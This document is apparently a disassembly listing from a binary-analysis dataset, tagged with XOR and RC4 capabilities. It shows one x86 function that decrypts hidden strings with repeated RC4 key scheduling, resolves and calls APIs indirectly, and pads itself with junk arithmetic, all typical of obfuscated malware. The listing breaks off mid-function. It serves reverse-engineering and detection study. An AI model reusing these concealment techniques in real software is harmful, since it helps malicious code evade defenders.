Function at 0x4211f7
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xdac
push ebx
push esi
push edi
mov esi, str.REGISTRY
mov dword [ebp - 0x80], ecx
lea edi, [ebp - 0x94]
mov dword [ebp - 0x50], 0xed851604
push 0x33
pop eax
movsd dword es:[edi], dword [esi]
xor ecx, ecx
mov byte [ebp - 0x44], al
mov eax, ecx
mov dword [ebp - 0x4c], 0x5339a442
mov dword [ebp - 0x48], 0x3cc6f106
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x43], 0xa1720806
mov dword [ebp - 0x3f], 0xd7037ccc
mov dword [ebp - 0x3b], 0x1c41795b
movsb byte es:[edi], byte [esi]
mov dword [ebp - 0x37], 0x2495b8d5
mov edi, ecx
mov dword [ebp - 0x33], 0x326eaea3
mov dword [ebp - 0x2f], 0xee9aa7a8
mov dword [ebp - 0x2b], 0x52d9165a
mov word [ebp - 0x27], 0x5938
mov byte [ebp - 0x25], 0x78
mov byte [ebp + eax - 0x1a0], al
inc eax
cmp eax, 0x100
jb 0x421270
mov ebx, dword [0x435a4c]
mov esi, ecx
mov dl, byte [ebp + esi - 0x1a0]
mov eax, esi
and eax, 7
movzx ecx, dl
or ebx, 0xfe77d4c1
movzx eax, byte [ebp + eax - 0x94]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x1a0]
mov byte [ebp + esi - 0x1a0], al
inc esi
mov byte [ebp + edi - 0x1a0], dl
cmp esi, 0x100
jb 0x421287
xor eax, eax
mov ebx, eax
mov eax, 0x4323f0
push eax
mov edx, eax
call fcn.00420976
mov esi, dword [0x435a30]
mov edi, 0x432000
pop ecx
or esi, 0xbc3c4f15
mov eax, 0x4323f0
push eax
mov edx, eax
call fcn.00420976
inc edi
pop ecx
cmp byte [edi], bl
jne 0x4212ec
xor eax, eax
and esi, 0x665b6754
mov dword [ebp - 0x7c], esi
mov edi, eax
mov esi, eax
lea eax, [ebx + 1]
movzx ebx, al
mov cl, byte [ebp + ebx - 0x1a0]
movzx edx, cl
lea eax, [edx + esi]
movzx esi, al
mov al, byte [ebp + esi - 0x1a0]
mov byte [ebp + ebx - 0x1a0], al
mov byte [ebp + esi - 0x1a0], cl
movzx eax, byte [ebp + ebx - 0x1a0]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x1a0]
xor al, byte [ebp + edi - 0x50]
mov byte [ebp + edi - 0x2f8], al
inc edi
cmp edi, 0x2c
jb 0x42130e
push 0xd
pop eax
mov ecx, eax
mov dword [ebp - 0x18], 0x838d54a1
xor edx, edx
mov dword [ebp - 0x14], 0xd481b518
mov esi, 0x42d574
mov byte [ebp - 0x2cc], dl
lea edi, [ebp - 0x2c8]
mov dword [ebp - 0x10], 0xbc9fa504
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0xc], 0x1f6e8172
mov edi, edx
mov dword [ebp - 8], 0xa7a0c932
mov eax, edx
mov dword [ebp - 4], 0xa8403521
mov byte [ebp + eax - 0x1a0], al
inc eax
cmp eax, 0x100
jb 0x4213a6
mov esi, edx
xor edx, edx
mov bl, byte [ebp + esi - 0x1a0]
push 0x33
mov eax, esi
pop ecx
div ecx
movzx ecx, bl
movzx eax, byte [ebp + edx - 0x2c8]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x1a0]
mov byte [ebp + esi - 0x1a0], al
inc esi
mov byte [ebp + edi - 0x1a0], bl
cmp esi, 0x100
jb 0x4213b7
mov ebx, dword [ebp - 0x7c]
xor eax, eax
mov edx, eax
mov dword [ebp - 0x20], eax
mov ecx, eax
xor esi, esi
lea eax, [ecx + 1]
movzx edi, al
mov dword [ebp - 0x88], edi
mov al, byte [ebp + edi - 0x1a0]
mov byte [ebp - 0x21], al
movzx eax, al
mov dword [ebp - 0x84], eax
add eax, edx
movzx eax, al
mov dword [ebp - 0x54], eax
call fcn.0041ffe8
lea eax, [ebx + 0x5454f888]
mov dword [ebp - 0x1c], eax
inc esi
cmp byte [esi + str.SrchPHFile], 0
jne 0x42143a
mov eax, 0x4323f0
push eax
mov edx, eax
call fcn.00420976
mov eax, dword [ebp - 0x78]
pop ecx
cmp eax, esi
jae 0x421474
cmp eax, 0x1c4c
jne 0x421466
xor ebx, 0xaea7469
or ebx, 0x998d0e43
inc eax
cmp eax, esi
jb 0x421459
mov dword [ebp - 0x78], eax
mov ecx, dword [ebp - 0x54]
mov ebx, dword [ebp - 0x1c]
add ebx, 0x537af9c5
push ecx
mov al, byte [ebp + ecx - 0x1a0]
mov byte [ebp + edi - 0x1a0], al
mov al, byte [ebp - 0x21]
mov byte [ebp + ecx - 0x1a0], al
mov ecx, ebx
call fcn.0042041e
pop ecx
push 6
pop ecx
xor eax, eax
lea edi, [ebp - 0x74]
mov esi, 0x42cb3c
mov edx, eax
rep movsd dword es:[edi], dword [esi]
push 0x74
pop eax
xor esi, esi
cmp ax, word [ebp - 0x74]
jne 0x421510
mov ecx, eax
mov eax, esi
test cx, cx
je 0x4214df
cmp word [ebp + eax - 0x74], si
je 0x4214df
inc edx
lea eax, [edx + edx]
movzx ecx, word [eax + 0x4323f0]
cmp cx, word [ebp + eax - 0x74]
je 0x4214c1
mov edi, dword [ebp - 0x7c]
mov dword [ebp - 0x58], edx
cmp edi, edx
jae 0x421510
lea eax, [ebx - 0x385dfd19]
mov esi, edx
mov dword [ebp - 0x1c], eax
call fcn.0041ffe8
cmp edi, 0x5e4
jne 0x421506
call fcn.0041ffe8
inc edi
cmp edi, esi
jb 0x4214f4
mov dword [ebp - 0x7c], edi
xor esi, esi
mov ecx, dword [ebp - 0x88]
mov edi, dword [ebp - 0x20]
mov edx, dword [ebp - 0x54]
movzx eax, byte [ebp + ecx - 0x1a0]
add eax, dword [ebp - 0x84]
movzx eax, al
mov al, byte [ebp + eax - 0x1a0]
xor al, byte [ebp + edi - 0x18]
mov byte [ebp + edi - 0x1ec], al
inc edi
mov dword [ebp - 0x20], edi
cmp edi, 0x18
jb 0x421405
push 0x3a
pop eax
push 0x56
mov byte [ebp - 0x15], al
lea edi, [ebp - 0x9c]
pop eax
push 0x74
mov byte [ebp - 0x11], al
xor edx, edx
pop eax
push 5
pop ecx
mov esi, str.too_many_files_open
mov byte [ebp - 0xb], al
rep movsd dword es:[edi], dword [esi]
mov byte [ebp - 0x1d4], dl
mov edi, edx
mov word [ebp - 0x18], 0x6355
mov eax, edx
mov byte [ebp - 0x16], 0xc0
mov word [ebp - 0x14], 0xaa31
mov byte [ebp - 0x12], 0xf9
mov dword [ebp - 0x10], 0x5983dc1e
mov byte [ebp - 0xc], 0x1d
mov dword [ebp - 0xa], 0xb2798448
mov dword [ebp - 6], 0xbb958923
mov word [ebp - 2], 0xe0d4
mov byte [ebp + eax - 0x1a0], al
inc eax
cmp eax, 0x100
jb 0x4215ad
push 0x13
mov esi, edx
pop ecx
xor edx, edx
mov bl, byte [ebp + esi - 0x1a0]
mov eax, esi
div ecx
movzx ecx, bl
push 0x13
movzx eax, byte [ebp + edx - 0x9c]
add eax, edi
add ecx, eax
movzx edi, cl
pop ecx
mov al, byte [ebp + edi - 0x1a0]
mov byte [ebp + esi - 0x1a0], al
inc esi
mov byte [ebp + edi - 0x1a0], bl
cmp esi, 0x100
jb 0x4215c1
xor eax, eax
mov ebx, eax
mov edi, eax
mov esi, eax
lea eax, [edi + 1]
movzx edi, al
mov cl, byte [ebp + edi - 0x1a0]
movzx edx, cl
lea eax, [edx + ebx]
movzx ebx, al
mov al, byte [ebp + ebx - 0x1a0]
mov byte [ebp + edi - 0x1a0], al
mov byte [ebp + ebx - 0x1a0], cl
movzx eax, byte [ebp + edi - 0x1a0]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x1a0]
xor al, byte [ebp + esi - 0x18]
mov byte [ebp + esi - 0x208], al
inc esi
cmp esi, 0x18
jb 0x421609
mov esi, 0x42c218
mov dword [ebp - 0x50], 0x7bdb21f7
lea edi, [ebp - 0x9c]
mov dword [ebp - 0x4c], 0x3efc2c4a
push 9
xor ecx, ecx
mov dword [ebp - 0x48], 0x4f472748
movsd dword es:[edi], dword [esi]
pop eax
mov byte [ebp - 0x2e], al
mov eax, ecx
mov byte [ebp - 0x1f0], cl
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x44], 0xeec745a6
mov dword [ebp - 0x40], 0x661ded2f
mov dword [ebp - 0x3c], 0xe9c81185
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x38], 0x2ff49b2f
mov dword [ebp - 0x34], 0xf8371dbf
mov word [ebp - 0x30], 0xf0c8
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x2d], 0xa88dbe0
mov dword [ebp - 0x29], 0x19b9c29c
mov byte [ebp - 0x25], 0x85
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov edi, ecx
mov byte [ebp + eax - 0x1a0], al
inc eax
cmp eax, 0x100
jb 0x4216cd
and dword [ebp - 0x1c], 0x5c0b37d9
mov esi, ecx
push 0x12
pop ecx
xor edx, edx
mov bl, byte [ebp + esi - 0x1a0]
mov eax, esi
div ecx
movzx ecx, bl
movzx eax, byte [ebp + edx - 0x9c]
add eax, edi
add ecx, eax
movzx eax, cl
mov dword [ebp - 0x78], eax
call fcn.00420312
mov edi, 0x432000
call fcn.004207cb
inc edi
cmp byte [edi], 0
jne 0x421714
mov edi, dword [ebp - 0x78]
push 0x12
pop ecx
mov al, byte [ebp + edi - 0x1a0]
mov byte [ebp + esi - 0x1a0], al
inc esi
mov byte [ebp + edi - 0x1a0], bl
cmp esi, 0x100
jb 0x4216e8
xor eax, eax
mov ebx, eax
mov edi, eax
mov esi, eax
lea eax, [edi + 1]
movzx edi, al
mov cl, byte [ebp + edi - 0x1a0]
movzx edx, cl
lea eax, [edx + ebx]
movzx ebx, al
mov al, byte [ebp + ebx - 0x1a0]
mov byte [ebp + edi - 0x1a0], al
mov byte [ebp + ebx - 0x1a0], cl
movzx eax, byte [ebp + edi - 0x1a0]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x1a0]
xor al, byte [ebp + esi - 0x50]
mov byte [ebp + esi - 0x328], al
inc esi
cmp esi, 0x2c
jb 0x42174b
mov esi, str.SrchXMLFilter
mov dword [ebp - 0x50], 0x5f1c2c3b
lea edi, [ebp - 0x98]
mov dword [ebp - 0x4c], 0x53ff9767
xor ecx, ecx
mov dword [ebp - 0x48], 0x6d222af5
mov byte [ebp - 0x2fc], cl
mov eax, ecx
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x44], 0x48224eed
mov dword [ebp - 0x40], 0xef005fcb
mov dword [ebp - 0x3c], 0x8a4400e6
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x38], 0xee22d9d3
mov dword [ebp - 0x34], 0x63d17039
mov dword [ebp - 0x30], 0xe7aea6f9
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x2c], 0xebd1c2fe
mov dword [ebp - 0x28], 0x6c9ae423
movsw word es:[edi], word [esi]
mov edi, ecx
mov byte [ebp + eax - 0x1a0], al
inc eax
cmp eax, 0x100
jb 0x421804
or dword [ebp - 0x1c], 0x43f9ef6c
mov esi, ecx
xor edx, edx
mov bl, byte [ebp + esi - 0x1a0]
push 0xd
mov eax, esi
pop ecx
div ecx
movzx ecx, bl
movzx eax, byte [ebp + edx - 0x98]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x1a0]
mov byte [ebp + esi - 0x1a0], al
inc esi
mov byte [ebp + edi - 0x1a0], bl
cmp esi, 0x100
jb 0x42181c
xor eax, eax
mov ebx, eax
mov edi, eax
mov esi, eax
lea eax, [edi + 1]
movzx edi, al
mov cl, byte [ebp + edi - 0x1a0]
movzx edx, cl
lea eax, [edx + ebx]
movzx ebx, al
mov al, byte [ebp + ebx - 0x1a0]
mov byte [ebp + edi - 0x1a0], al
mov byte [ebp + ebx - 0x1a0], cl
movzx eax, byte [ebp + edi - 0x1a0]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x1a0]
xor al, byte [ebp + esi - 0x50]
mov byte [ebp + esi - 0x2c4], al
inc esi
cmp esi, 0x2c
jb 0x421864
mov eax, dword [ebp - 0x1c]
lea edi, [ebp - 0x50]
push 0xa
pop ecx
mov esi, str.api_ms_win_rtcore_ntuser_synch_l1_1_0.dll
mov dword [ebp - 0x18], 0x43a56006
rep movsd dword es:[edi], dword [esi]
xor edx, edx
mov dword [ebp - 0x14], 0xa18377a4
or eax, 0x101164b3
mov byte [ebp - 0x298], dl
mov dword [ebp - 0x20], eax
mov eax, edx
movsw word es:[edi], word [esi]
mov dword [ebp - 0x10], 0x5541238e
mov edi, edx
mov dword [ebp - 0xc], 0xa72eb610
mov dword [ebp - 8], 0xef7576c2
mov dword [ebp - 4], 0xea3ea1cc
mov byte [ebp + eax - 0x1a0], al
inc eax
cmp eax, 0x100
jb 0x421904
push 0x29
mov esi, edx
pop ecx
xor edx, edx
mov bl, byte [ebp + esi - 0x1a0]
mov eax, esi
sub dword [ebp - 0x20], 0x4f49709f
div ecx
movzx ecx, bl
push 0x29
movzx eax, byte [ebp + edx - 0x50]
add eax, edi
add ecx, eax
movzx edi, cl
pop ecx
mov al, byte [ebp + edi - 0x1a0]
mov byte [ebp + esi - 0x1a0], al
inc esi
mov byte [ebp + edi - 0x1a0], bl
cmp esi, 0x100
jb 0x421918
xor eax, eax
mov ebx, eax
mov edi, eax
mov esi, eax
lea eax, [edi + 1]
movzx edi, al
mov cl, byte [ebp + edi - 0x1a0]
movzx edx, cl
lea eax, [ebx + edx]
movzx ebx, al
mov al, byte [ebp + ebx - 0x1a0]
mov byte [ebp + edi - 0x1a0], al
mov byte [ebp + ebx - 0x1a0], cl
movzx eax, byte [ebp + edi - 0x1a0]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x1a0]
xor al, byte [ebp + esi - 0x18]
mov byte [ebp + esi - 0x224], al
inc esi
cmp esi, 0x18
jb 0x421964
mov esi, str.Interface
mov dword [ebp - 0x18], 0xbc12c5
lea edi, [ebp - 0x94]
mov dword [ebp - 0x13], 0x5a6550e7
push 0xd
pop eax
movsd dword es:[edi], dword [esi]
xor ecx, ecx
mov byte [ebp - 0x14], al
push 9
pop eax
movsd dword es:[edi], dword [esi]
mov byte [ebp - 0xe], al
mov eax, ecx
mov byte [ebp - 0x20c], cl
mov byte [ebp - 0xf], 0xda
movsw word es:[edi], word [esi]
mov dword [ebp - 0xd], 0x492fadc8
mov edi, ecx
mov dword [ebp - 9], 0x66ea8da8
mov dword [ebp - 5], 0x5296ddac
mov byte [ebp - 1], 0x3d
mov byte [ebp + eax - 0x1a0], al
inc eax
cmp eax, 0x100
jb 0x421a06
mov esi, ecx
mov ecx, dword [ebp - 0x1c]
mov eax, 0x432000
add ecx, 0x2dcbf62e
inc eax
cmp byte [eax], 0
jne 0x421a1f
mov dword [ebp - 0x1c], ecx
xor edx, edx
push 9
mov eax, esi
mov bl, byte [ebp + esi - 0x1a0]
pop ecx
div ecx
movzx ecx, bl
movzx eax, byte [ebp + edx - 0x94]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x1a0]
mov byte [ebp + esi - 0x1a0], al
inc esi
mov byte [ebp + edi - 0x1a0], bl
cmp esi, 0x100
jb 0x421a17
xor eax, eax
mov ebx, eax
mov edi, eax
mov esi, eax
lea eax, [edi + 1]
sub dword [ebp - 0x20], 0x73e342a6
movzx edi, al
mov cl, byte [ebp + edi - 0x1a0]
movzx edx, cl
lea eax, [ebx + edx]
movzx ebx, al
mov al, byte [ebp + ebx - 0x1a0]
mov byte [ebp + edi - 0x1a0], al
mov byte [ebp + ebx - 0x1a0], cl
movzx eax, byte [ebp + edi - 0x1a0]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x1a0]
xor al, byte [ebp + esi - 0x18]
mov byte [ebp + esi - 0x240], al
inc esi
cmp esi, 0x18
jb 0x421a76
mov edx, dword [ebp - 0x1c]
xor ebx, ebx
mov byte [ebp - 0x228], bl
mov eax, ebx
lea ecx, [edx - 0x45ba09ba]
mov dword [ebp - 0x20], ecx
inc eax
cmp word [eax*2 + 0x4323f0], bx
jne 0x421ae3
cmp eax, 0x8b8
jae 0x421b00
sub edx, 0x7a87cdc9
mov dword [ebp - 0x1c], edx
jmp 0x421b09
and ecx, 0x144513ab
mov dword [ebp - 0x20], ecx
call fcn.00420312
push 7
pop ecx
mov esi, str.UseLowPriorityConfiguration
mov dword [ebp - 0x18], 0xb4a69a5b
lea edi, [ebp - 0x40]
mov dword [ebp - 0x14], 0xc06135e6
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x10], 0xe1fcc504
mov edi, ebx
mov dword [ebp - 0xc], 0x1569d878
mov eax, ebx
mov dword [ebp - 8], 0xeb61ec3d
mov dword [ebp - 4], 0xc1294329
mov byte [ebp + eax - 0x1a0], al
inc eax
cmp eax, 0x100
jb 0x421b49
mov esi, ebx
xor edx, edx
mov bl, byte [ebp + esi - 0x1a0]
push 0x1b
mov eax, esi
pop ecx
div ecx
movzx ecx, bl
movzx eax, byte [ebp + edx - 0x40]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x1a0]
mov byte [ebp + esi - 0x1a0], al
inc esi
mov byte [ebp + edi - 0x1a0], bl
cmp esi, 0x100
jb 0x421b5a
xor eax, eax
mov ebx, eax
mov edi, eax
mov esi, eax
lea eax, [edi + 1]
movzx edi, al
mov cl, byte [ebp + edi - 0x1a0]
movzx edx, cl
lea eax, [ebx + edx]
movzx ebx, al
mov al, byte [ebp + ebx - 0x1a0]
mov byte [ebp + edi - 0x1a0], al
mov byte [ebp + ebx - 0x1a0], cl
movzx eax, byte [ebp + edi - 0x1a0]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x1a0]
xor al, byte [ebp + esi - 0x18]
mov byte [ebp + esi - 0x278], al
inc esi
cmp esi, 0x18
jb 0x421b9f
push 0x15
pop ecx
mov esi, str.onecoreuap_base_appmodel_searchcommon_staterepositoryhelper_staterepositoryhelper.cpp
mov dword [ebp - 0x18], 0xb9db2a48
lea edi, [ebp - 0x380]
mov dword [ebp - 0x14], 0x4ddfe120
rep movsd dword es:[edi], dword [esi]
xor edx, edx
mov dword [ebp - 0x10], 0x9bea22af
mov byte [ebp - 0x260], dl
mov dword [ebp - 0xc], 0x2d572961
movsw word es:[edi], word [esi]
mov dword [ebp - 8], 0xdafb6a87
mov dword [ebp - 4], 0x154aa324
mov dword [ebp - 0x54], edx
movsb byte es:[edi], byte [esi]
push 9
pop eax
mov ecx, eax
lea edi, [ebp - 0x48]
push 0x74
mov esi, str.SrchIndexerClient
mov ebx, edx
pop eax
rep movsd dword es:[edi], dword [esi]
cmp ax, word [ebp - 0x48]
jne 0x421c73
mov ecx, eax
mov eax, edx
test cx, cx
je 0x421c73
cmp word [ebp + eax - 0x48], dx
je 0x421c73
inc ebx
lea eax, [ebx + ebx]
movzx ecx, word [eax + 0x4323f0]
cmp cx, word [ebp + eax - 0x48]
je 0x421c55
call fcn.00420b2e
movzx eax, byte [ebp + ebx*2 - 0x48]
movzx ecx, byte [ebx*2 + 0x4323f0]
sub ecx, eax
cmp ecx, 0x19f7
jne 0x421ca5
mov edx, dword [ebp - 0x1c]
push ecx
and edx, 0x5d5fdde2
push ecx
mov dword [ebp - 0x20], edx
call fcn.0041fe63
pop ecx
jmp 0x421cb9
mov eax, dword [ebp - 0x20]
lea ecx, [eax - 0x7b6b5be]
mov dword [ebp - 0x1c], ecx
push ecx
mov ecx, eax
call fcn.0042041e
mov eax, dword [ebp - 0x54]
pop ecx
push 0
pop edx
mov byte [ebp + eax - 0x1a0], al
inc eax
mov dword [ebp - 0x54], eax
cmp eax, 0x100
jb 0x421c37
xor eax, eax
mov esi, eax
mov edi, eax
push 0x56
xor edx, edx
mov cl, byte [ebp + esi - 0x1a0]
pop ebx
mov eax, esi
mov byte [ebp - 0x21], cl
div ebx
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x380]
add eax, edi
add ecx, eax
movzx eax, cl
xor ecx, ecx
imul ebx, dword [ebp - 0x20], 0xd7ffa0f3
mov edi, ecx
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x1c], ebx
mov dword [0x435a4c], ebx
inc edi
cmp word [edi*2 + 0x4323f0], cx
jne 0x421d18
call fcn.004207cb
cmp edi, 0xb55
jne 0x421d44
imul eax, dword [ebp - 0x20], 0x9dd25607
mov dword [ebp - 0x20], eax
call fcn.0041ffe8
mov edx, dword [ebp - 0x20]
jmp 0x421d5d
mov edx, dword [ebp - 0x20]
mov ebx, edx
xor ebx, 0xa628a783
mov dword [ebp - 0x1c], ebx
mov dword [0x435a4c], ebx
call fcn.00420fb2
mov edi, dword [ebp - 0x58]
mov al, byte [ebp + edi - 0x1a0]
mov byte [ebp + esi - 0x1a0], al
inc esi
mov al, byte [ebp - 0x21]
mov byte [ebp + edi - 0x1a0], al
cmp esi, 0x100
jb 0x421cdc
xor eax, eax
mov ebx, eax
mov edi, eax
mov esi, eax
lea eax, [edi + 1]
and edx, 0x3f5c59a3
movzx edi, al
mov dword [ebp - 0x20], edx
mov cl, byte [ebp + edi - 0x1a0]
movzx edx, cl
lea eax, [ebx + edx]
movzx ebx, al
mov al, byte [ebp + ebx - 0x1a0]
mov byte [ebp + edi - 0x1a0], al
mov byte [ebp + ebx - 0x1a0], cl
movzx eax, byte [ebp + edi - 0x1a0]
add eax, edx
mov edx, dword [ebp - 0x20]
movzx eax, al
mov al, byte [ebp + eax - 0x1a0]
xor al, byte [ebp + esi - 0x18]
mov byte [ebp + esi - 0x294], al
inc esi
cmp esi, 0x18
jb 0x421d8d
mov esi, 0x42d7fc
mov dword [ebp - 0x18], 0xe4658bb3
lea edi, [ebp - 0x98]
mov dword [ebp - 0x14], 0x6f412d7
xor eax, eax
mov dword [ebp - 0x10], 0xd7e229ca
mov byte [ebp - 0x27c], al
movsd dword es:[edi], dword [esi]
push 0x33
pop eax
mov dword [ebp - 0xc], 0xe2fef73f
movsd dword es:[edi], dword [esi]
mov dword [ebp - 8], 0xfe9aecf6
mov byte [ebp - 4], 0x93
mov byte [ebp - 3], al
movsd dword es:[edi], dword [esi]
mov word [ebp - 2], 0xea7d
movsb byte es:[edi], byte [esi]
call fcn.00420441
mov ebx, dword [ebp - 0x1c]
xor ecx, ecx
mov eax, ecx
inc eax
cmp word [eax*2 + 0x4323f0], cx
jne 0x421e3f
cmp eax, 0x25e8
jae 0x421e59
and ebx, 0xcacaf865
jmp 0x421e5f
add ebx, 0x9d4831a2
mov dword [ebp - 0x1c], ebx
mov edi, ecx
mov eax, ecx
mov byte [ebp + eax - 0x1a0], al
inc eax
cmp eax, 0x100
jb 0x421e66
lea eax, [ebx + 0x387d3eb9]
mov esi, ecx
push 0xc
mov dword [0x435a30], eax
pop ecx
xor edx, edx
mov bl, byte [ebp + esi - 0x1a0]
mov eax, esi
div ecx
movzx ecx, bl
push 0xc
movzx eax, byte [ebp + edx - 0x98]
add eax, edi
add ecx, eax
movzx edi, cl
pop ecx
mov al, byte [ebp + edi - 0x1a0]
mov byte [ebp + esi - 0x1a0], al
inc esi
mov byte [ebp + edi - 0x1a0], bl
cmp esi, 0x100
jb 0x421e85
xor eax, eax
mov ebx, eax
mov edi, eax
mov esi, eax
lea eax, [edi + 1]
movzx edi, al
mov cl, byte [ebp + edi - 0x1a0]
movzx edx, cl
lea eax, [ebx + edx]
movzx ebx, al
mov al, byte [ebp + ebx - 0x1a0]
mov byte [ebp + edi - 0x1a0], al
mov byte [ebp + ebx - 0x1a0], cl
movzx eax, byte [ebp + edi - 0x1a0]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x1a0]
xor al, byte [ebp + esi - 0x18]
mov byte [ebp + esi - 0x40], al
inc esi
cmp esi, 0x18
jb 0x421ecd
mov ebx, dword [ebp - 0x1c]
xor edx, edx
push ecx
add ebx, 0x387d3eb9
mov byte [ebp - 0x28], dl
mov ecx, ebx
call fcn.0042041e
pop ecx
push 0xa
pop ecx
push 0x74
mov eax, edx
lea edi, [ebp - 0x1d0]
mov esi, 0x430de0
pop edx
rep movsd dword es:[edi], dword [esi]
cmp dx, word [ebp - 0x1d0]
jne 0x421fab
xor esi, esi
mov ecx, esi
test dx, dx
je 0x421f77
cmp word [ebp + ecx - 0x1d0], si
je 0x421f77
inc eax
lea ecx, [eax + eax]
movzx edx, word [ecx + 0x4323f0]
cmp dx, word [ebp + ecx - 0x1d0]
je 0x421f53
mov esi, dword [ebp - 0xa0]
mov dword [ebp - 0x54], eax
cmp esi, eax
jae 0x421fab
cmp esi, 0x25fd
jne 0x421f9a
imul ebx, ebx, 0xe3d730ba
call fcn.0041ffe8
mov eax, dword [ebp - 0x54]
or ebx, 0x1e42186f
inc esi
cmp esi, eax
jb 0x421f84
mov dword [0x435a30], ebx
xor eax, eax
lea edx, [ebp - 0x2f8]
xor ebx, ebx
push ebx
mov edi, ebx
push 2
lea ecx, [eax + 1]
mov dword [ebp - 0x84], edi
call fcn.0040a2e6
call eax
mov esi, eax
mov dword [ebp - 0x88], esi
cmp esi, 0xffffffff
jne 0x421fde
xor eax, eax
jmp 0x422598
lea eax, [ebp - 0x5ac]
mov dword [ebp - 0x5ac], 0x22c
push eax
push esi
xor esi, esi
lea edx, [ebp - 0x1ec]
inc esi
mov ecx, esi
call fcn.0040a2e6
call eax
test eax, eax
jne 0x422123
mov eax, dword [0x435a4c]
lea edi, [ebp - 0x98]
mov esi, str.SrchDSSQuery
mov dword [ebp - 0x18], 0x727d753e
sub eax, 0x3fc9ba37
mov dword [ebp - 0x14], 0x9fa9919d
mov dword [0x435a4c], eax
or eax, 0x206d7eda
mov dword [0x435a30], eax
mov eax, ebx
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x10], 0x72409cff
mov dword [ebp - 0xc], 0xa9899d7b
mov dword [ebp - 8], 0x23df4b8d
movsd dword es:[edi], dword [esi]
mov dword [ebp - 4], 0x37994ac
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov edi, ebx
mov byte [ebp + eax - 0x1a0], al
inc eax
cmp eax, 0x100
jb 0x422060
mov esi, ebx
xor edx, edx
mov bl, byte [ebp + esi - 0x1a0]
push 0xc
mov eax, esi
pop ecx
div ecx
movzx ecx, bl
movzx eax, byte [ebp + edx - 0x98]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x1a0]
mov byte [ebp + esi - 0x1a0], al
inc esi
mov byte [ebp + edi - 0x1a0], bl
cmp esi, 0x100
jb 0x422071
xor eax, eax
mov ebx, eax
mov edi, eax
mov esi, eax
lea eax, [edi + 1]
movzx edi, al
mov cl, byte [ebp + edi - 0x1a0]
movzx edx, cl
lea eax, [ebx + edx]
movzx ebx, al
mov al, byte [ebp + ebx - 0x1a0]
mov byte [ebp + edi - 0x1a0], al
mov byte [ebp + ebx - 0x1a0], cl
movzx eax, byte [ebp + edi - 0x1a0]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x1a0]
xor al, byte [ebp + esi - 0x18]
mov byte [ebp + esi - 0x74], al
inc esi
cmp esi, 0x18
jb 0x4220b9
push dword [ebp - 0x88]
xor ecx, ecx
lea edx, [ebp - 0x74]
xor eax, eax
inc ecx
mov byte [ebp - 0x5c], al
call fcn.0040a2e6
call eax
jmp 0x421fd7
lea ecx, [ebp - 0x208]
call fcn.0040b628
mov ebx, eax
lea ecx, [ebp - 0x328]
mov dword [ebp - 0x78], ebx
call fcn.0040b628
lea ecx, [ebp - 0x2c4]
mov dword [ebp - 0x7c], eax
call fcn.0040b628
lea ecx, [ebp - 0x224]
mov dword [ebp - 0x1c], eax
call fcn.0040b628
push ebx
push dword [ebp - 0x80]
lea edx, [ebp - 0x240]
mov dword [ebp - 0xa0], eax
push 2
pop ecx
call fcn.0040a2e6
call eax
pop ecx
pop ecx
call fcn.004211d8
mov ebx, eax
mov dword [ebp - 0x1a8], ebx
jmp 0x422188
xor esi, esi
inc esi
mov ecx, dword [ebp - 0x5a4]
lea edx, [ebp - 0x20]
xor eax, eax
mov dword [ebp - 0x58], esi
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x58]
push eax
call fcn.0042104d
xor edx, edx
cmp ebx, dword [ebp - 0x5a4]
mov eax, edx
cmove eax, esi
mov dword [ebp - 0x54], eax
mov eax, edx
pop ecx
test edi, edi
jne 0x4222e3
push 5
pop ecx
mov esi, 0x42f29c
mov dword [ebp - 0x74], 0x881442f1
lea edi, [ebp - 0x14]
mov dword [ebp - 0x70], 0x44e644ef
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x6c], 0xd6c0e31d
mov edi, edx
mov dword [ebp - 0x68], 0xd8b6f922
mov dword [ebp - 0x64], 0xacafdd95
mov dword [ebp - 0x60], 0x3bb51505
mov byte [ebp + eax - 0x1a0], al
inc eax
cmp eax, 0x100
jb 0x4221f6
mov esi, edx
xor edx, edx
mov bl, byte [ebp + esi - 0x1a0]
push 0x13
mov eax, esi
pop ecx
div ecx
movzx ecx, bl
movzx eax, byte [ebp + edx - 0x14]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x1a0]
mov byte [ebp + esi - 0x1a0], al
inc esi
mov byte [ebp + edi - 0x1a0], bl
cmp esi, 0x100
jb 0x422207
xor eax, eax
mov ebx, eax
mov edi, eax
mov esi, eax
imul eax, dword [0x435a30], 0x93318359
mov dword [0x435a4c], eax
lea eax, [edi + 1]
movzx edi, al
mov cl, byte [ebp + edi - 0x1a0]
movzx edx, cl
